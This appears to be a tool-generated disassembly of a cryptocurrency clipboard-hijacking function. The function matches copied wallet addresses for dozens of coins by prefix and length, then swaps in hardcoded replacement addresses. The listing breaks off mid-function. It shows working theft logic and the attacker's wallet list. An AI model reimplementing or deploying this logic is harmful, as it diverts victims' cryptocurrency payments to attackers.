Function at 0x4048a0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x11], 1
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x33
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x74
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x73
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x62
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x58
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6d
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x68
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x51
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x52
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4e
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x43
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x76
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x64
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x48
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x57
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x75
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x67
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x50
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x41
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4c
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4d
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6e
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6c
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7a
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x63
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x63
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x61
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6b
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x69
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x66
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x65
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6f
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
je 0x404b4b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x404b4b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
je 0x404b4b
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
je 0x404b4b
xor al, al
jmp 0x40565c
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
jne 0x404b68
cmp dword [ebp - 4], 0x2a
je 0x404b63
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
jne 0x404b8b
cmp dword [ebp - 4], 0x19
jb 0x404b7f
cmp dword [ebp - 4], 0x23
jbe 0x404b86
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
jne 0x404bae
cmp dword [ebp - 4], 0x19
jb 0x404ba2
cmp dword [ebp - 4], 0x30
jbe 0x404ba9
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
je 0x404bc4
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x38
jne 0x404bd6
cmp dword [ebp - 4], 0x5f
je 0x404bd1
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x72
jne 0x404bf9
cmp dword [ebp - 4], 0x18
jb 0x404bed
cmp dword [ebp - 4], 0x32
jbe 0x404bf4
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x65
jne 0x404c1c
cmp dword [ebp - 4], 0x3c
jb 0x404c10
cmp dword [ebp - 4], 0x40
jbe 0x404c17
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
jne 0x404c3f
cmp dword [ebp - 4], 0x15
jb 0x404c33
cmp dword [ebp - 4], 0x3e
jbe 0x404c3a
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6e
jne 0x404c62
cmp dword [ebp - 4], 0x23
jb 0x404c56
cmp dword [ebp - 4], 0x46
jbe 0x404c5d
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x43
jne 0x404c85
cmp dword [ebp - 4], 0x2d
jb 0x404c79
cmp dword [ebp - 4], 0x2f
jbe 0x404c80
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x66
jne 0x404ca8
cmp dword [ebp - 4], 0x29
jb 0x404c9c
cmp dword [ebp - 4], 0x41
jbe 0x404ca3
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
jne 0x404ccb
cmp dword [ebp - 4], 9
jb 0x404cbf
cmp dword [ebp - 4], 0x3c
jbe 0x404cc6
xor al, al
jmp 0x40565c
jmp 0x404dbc
push 0x410338
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404cf6
cmp dword [ebp - 4], 0x32
jb 0x404cea
cmp dword [ebp - 4], 0x38
jbe 0x404cf1
xor al, al
jmp 0x40565c
jmp 0x404dbc
push 0x410354
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404d21
cmp dword [ebp - 4], 0x2a
jb 0x404d15
cmp dword [ebp - 4], 0x30
jbe 0x404d1c
xor al, al
jmp 0x40565c
jmp 0x404dbc
push 0x410364
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404d49
cmp dword [ebp - 4], 0x3c
jb 0x404d40
cmp dword [ebp - 4], 0x78
jbe 0x404d47
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
jne 0x404d69
cmp dword [ebp - 4], 9
jb 0x404d60
cmp dword [ebp - 4], 0x24
jbe 0x404d67
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
jne 0x404d89
cmp dword [ebp - 4], 9
jb 0x404d80
cmp dword [ebp - 4], 0x30
jbe 0x404d87
xor al, al
jmp 0x40565c
jmp 0x404dbc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
jne 0x404da9
cmp dword [ebp - 4], 9
jb 0x404da0
cmp dword [ebp - 4], 0x3c
jbe 0x404da7
xor al, al
jmp 0x40565c
jmp 0x404dbc
cmp dword [ebp - 4], 0x15
jb 0x404db5
cmp dword [ebp - 4], 0x38
jbe 0x404dbc
xor al, al
jmp 0x40565c
push 0x410370
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404dd3
mov byte [ebp - 0x11], 0
push 0x41038c
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404dea
mov byte [ebp - 0x11], 0
push 0x41039c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404e01
mov byte [ebp - 0x11], 0
movzx ecx, byte [ebp - 0x11]
cmp ecx, 1
jne 0x404eb9
mov dword [ebp - 0x20], 0
jmp 0x404e20
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 4]
jae 0x404ea2
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x404e67
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x4f
je 0x404e60
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x49
je 0x404e60
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x6c
jne 0x404e67
xor al, al
jmp 0x40565c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
push edx
call sub.ntdll.dll_iswalpha
add esp, 4
test eax, eax
je 0x404e82
mov byte [ebp - 0x12], 1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
push edx
call sub.ntdll.dll_iswdigit
add esp, 4
test eax, eax
je 0x404e9d
mov byte [ebp - 0x19], 1
jmp 0x404e17
movzx eax, byte [ebp - 0x12]
test eax, eax
je 0x404eb2
movzx ecx, byte [ebp - 0x19]
test ecx, ecx
jne 0x404eb9
xor al, al
jmp 0x40565c
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x30
jne 0x404ecb
mov dword [ebp - 8], str.0xCa90599132C4D88907Bd8E046540284aa468a035
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x54
jne 0x404edd
mov dword [ebp - 8], str.TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x71
jne 0x404eef
mov dword [ebp - 8], str.qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
jne 0x404f01
mov dword [ebp - 8], str.XryzFMFVpDUvU7famUGf214EXD3xNUSmQf
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6d
jne 0x404f13
mov dword [ebp - 8], str.mona1qwdqvzuwn6qj7l9xmsfqur2vc7uda0rcpftv9ej
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
jne 0x404f25
mov dword [ebp - 8], str.rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x68
jne 0x404f37
mov dword [ebp - 8], str.hx5b104c02a9cbd7cda5c6756fd9199fbff1ef5070
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x51
jne 0x404f49
mov dword [ebp - 8], str.QaBvbNAuoU52qCgbqsgoLAbK5P21L6dn5Y
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x52
jne 0x404f5b
mov dword [ebp - 8], str.RLefLLmDAZZb5ZynfPMjZ475pQdHVZNz9J
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4e
jne 0x404f6d
mov dword [ebp - 8], str.NASUHUTM7J5HNOJVZ2EULOP6INPNPSE4KN6AQNRI
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x43
jne 0x404f7f
mov dword [ebp - 8], str.Cz6xMbBst86mjM44qAaE5ahkD3F8JpLY7LFGHMiKYzwS6mn
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x76
jne 0x404f91
mov dword [ebp - 8], str.via1qs8zt7jr4sgru6r8dqtdpc93c5d8wmwu8rkz94z
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x48
jne 0x404fa3
mov dword [ebp - 8], str.H42AN3K4hbqdprBnJVG8UFQzRZftKJM1EY
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x57
jne 0x404fb5
mov dword [ebp - 8], str.Wdv4zK4Fc9D2PJ9aePL9jUmdjvdQeoKV7Q
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x75
jne 0x404fc7
mov dword [ebp - 8], str.uhdnHQRJEBxePpLi6YhiS6Kxgct6vG7Q9f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x67
jne 0x404fd9
mov dword [ebp - 8], str.grs1qscr354fdfddglta2hgajrcryl4gqh6ey360d3u
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x50
jne 0x404feb
mov dword [ebp - 8], str.PCsLUHxdx4nFpp5RSYZ6YyJztgYRcErmQk
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
jne 0x404ffd
mov dword [ebp - 8], str.AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
jne 0x40500f
mov dword [ebp - 8], str.LTK4xdKPAgFHPLan8kriAD7eY4heyy73mB
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4d
jne 0x405021
mov dword [ebp - 8], str.MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6e
jne 0x405033
mov dword [ebp - 8], str.n1HHGP3YmZp3YA7VgqVgfJqyKBV86d9SaJo
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
jne 0x405045
mov dword [ebp - 8], str.4BB7ckkaPTyADc8trtuwDoZxywaR4eNL5cDJ3KBjq9GraN4mUFztf7mLS7WgT7Bh7uPqpjvA4ypVwXKCJ1vvLWWAFvSmDoD
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
jne 0x405057
mov dword [ebp - 8], str.8BXeKLC4rvUixuusetP2ZhYZicVqnU8FQV9mk5B9ZPsiYswxqrxqwnr4Tc3BhpvHz88jgY6qyXmqcZiTruLF3NKrEqmWdTj
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
jne 0x40507e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x405077
mov dword [ebp - 8], str.SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ
jmp 0x40507e
mov dword [ebp - 8], str.SdRJvZ4LHuGxfsrnRuBcBYzxcQAyKU2MX6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x61
jne 0x40509c
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x64
je 0x40509c
mov dword [ebp - 8], str.aPFoyg69vKYCfnKGo1eLBo5XAmoyuZniGc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x66
jne 0x4050c3
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x31
jne 0x4050bc
mov dword [ebp - 8], str.f1sz5wwh6urr3gsycgkki7ns5iino3a7bu3chsgly
jmp 0x4050c3
mov dword [ebp - 8], str.f53ea9bd3352fd3b24be04fa27ce2171b21d1378e658c50553d804cfa70ceb64
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x64
jne 0x4050ea
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x67
jne 0x4050e3
mov dword [ebp - 8], str.dgb1qnyphwne0t26mmxh2amyzzxzerxarj6jmf8wpmr
jmp 0x4050ea
mov dword [ebp - 8], str.dn1q3yrdfjppj9pqxqha4k4a690cd9a3mjkd8jku7m
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x40510b
cmp dword [ebp - 4], 0x30
jne 0x405104
mov dword [ebp - 8], str.15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC
jmp 0x40510b
mov dword [ebp - 8], str.1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6c
jne 0x405154
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x73
jne 0x405135
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6b
jne 0x405135
mov dword [ebp - 8], str.lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x74
jne 0x405154
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x63
jne 0x405154
mov dword [ebp - 8], str.ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x7a
jne 0x405187
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x69
jne 0x405180
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x6c
jne 0x405180
mov dword [ebp - 8], str.zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3
jmp 0x405187
mov dword [ebp - 8], str.zncBgwqwqquPLHrM4ozrtr3LPyFuNVemy4v
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x63
jne 0x4051b1
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x72
jne 0x4051b1
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x6f
jne 0x4051b1
mov dword [ebp - 8], str.cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x65
jne 0x4051db
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x72
jne 0x4051db
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x64
jne 0x4051db
mov dword [ebp - 8], str.erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6b
jne 0x405211
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x61
jne 0x405211
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x76
jne 0x405211
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 6]
cmp edx, 0x61
jne 0x405211
mov dword [ebp - 8], str.kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x69
jne 0x40523b
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x6e
jne 0x40523b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6a
jne 0x40523b
mov dword [ebp - 8], str.inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6f
jne 0x405292
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x73
jne 0x405273
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6d
jne 0x405273
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x6f
jne 0x405273
mov dword [ebp - 8], str.osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3
jmp 0x405292
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x6e
jne 0x405292
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x65
jne 0x405292
mov dword [ebp - 8], str.one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
jne 0x4052b9
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x4052b2
mov dword [ebp - 8], str.3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc
jmp 0x4052b9
mov dword [ebp - 8], str.3BiS1jaRpWtkqtfZGp9f1rXXts5DyUkaBX
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
jne 0x4052e0
cmp dword [ebp - 4], 0x22
jne 0x4052d3
mov dword [ebp - 8], str.DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA
jmp 0x4052e0
cmp dword [ebp - 4], 0x23
jne 0x4052e0
mov dword [ebp - 8], str.DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x74
jne 0x40537d
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x31
je 0x405307
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x32
jne 0x405310
mov dword [ebp - 8], str.t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh
jmp 0x40537d
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x65
jne 0x405349
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x72
jne 0x405349
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 6]
cmp edx, 0x72
jne 0x405349
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 8]
cmp ecx, 0x61
jne 0x405349
mov dword [ebp - 8], str.terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5
jmp 0x40537d
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x68
jne 0x405376
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6f
jne 0x405376
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x72
jne 0x405376
mov dword [ebp - 8], str.thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur
jmp 0x40537d
mov dword [ebp - 8], str.tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x73
jne 0x405426
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x74
jne 0x4053c5
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x61
jne 0x4053c5
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x72
jne 0x4053c5
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 8]
cmp edx, 0x73
jne 0x4053c5
mov dword [ebp - 8], str.stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj
jmp 0x405426
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x74
jne 0x4053fe
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x72
jne 0x4053fe
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 6]
cmp edx, 0x69
jne 0x4053fe
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 8]
cmp ecx, 0x64
jne 0x4053fe
mov dword [ebp - 8], str.stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0
jmp 0x405426
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x65
jne 0x40541f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x69
jne 0x40541f
mov dword [ebp - 8], str.sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz
jmp 0x405426
mov dword [ebp - 8], str.sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
jne 0x40548c
push 0x410cf0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40544d
mov dword [ebp - 8], str.bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2
jmp 0x40548c
push str.bc1p
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405469
mov dword [ebp - 8], str.bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr
jmp 0x40548c
push str.bc1q
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405485
mov dword [ebp - 8], str.bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd
jmp 0x40548c
mov dword [ebp - 8], str.btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy
push str.ronin:
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4054a6
mov dword [ebp - 8], str.ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17
push str.bitcoincash:
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4054c0
mov dword [ebp - 8], str.bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
push str.cosmos
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4054da
mov dword [ebp - 8], str.cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr
push str.addr
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4054f4
mov dword [ebp - 8], str.addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg
push str.nano_
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40550e
mov dword [ebp - 8], str.nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x47
jne 0x40553e
cmp dword [ebp - 4], 9
jne 0x405528
mov dword [ebp - 8], str.G35598989
jmp 0x40553e
cmp dword [ebp - 4], 0x38
jne 0x405537
mov dword [ebp - 8], str.GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3
jmp 0x40553e
mov dword [ebp - 8], str.Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
jne 0x40555f
cmp dword [ebp - 4], 9
jne 0x405558
mov dword [ebp - 8], str.E36963824
jmp 0x40555f
mov dword [ebp - 8], str.EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
jne 0x4055ad
cmp dword [ebp - 4], 9
jne 0x405579
mov dword [ebp - 8], str.B36461211
jmp 0x4055ad
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x36
jne 0x4055a6
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x32
jne 0x4055a6
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x71
